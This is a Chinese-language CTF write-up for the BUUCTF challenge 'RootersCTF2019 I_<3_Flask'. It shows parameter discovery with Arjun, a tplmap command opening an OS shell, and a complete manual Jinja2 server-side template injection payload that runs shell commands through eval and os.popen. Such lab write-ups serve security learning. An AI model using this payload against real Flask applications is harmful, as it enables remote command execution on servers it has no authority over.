RootersCTF2019-I_3_Flask

摘要

模板注入、arjun、tplmap

第一次感到工具注入的快感🤣

flask 应该就是模板注入了……有几个考点

参数爆破

对可用参数的爆破,可使用Arjun工具

image-20210823165026964

可以获取可用的name参数

模板注入

tplmap 工具

image-20210823165152868

可以获取到 name 参数、模板引擎、系统等信息,结合shell命令:

python2 tplmap.py -u http://89c50d73-c596-4cbd-b2e0-34207638b293.node4.buuoj.cn:81/?name=1 --engine=Jinja2 --os-shell

image-20210823165707724

用脚本感觉好爽……

手工注入:

1
2
3
4
5
6
7
8
9
10
11
{% for c in [].__class__.__base__.__subclasses__() %} 
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("ls").read()') }} //这里的ls就是需要的执行命令
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

——https://www.cnblogs.com/yesec/p/14905799.html

参考文章:
BUUCTF [RootersCTF2019] I_<3_Flask

作者

inanb

发布于

2021-08-23

更新于

2021-08-23

许可协议


:D 一言句子获取中...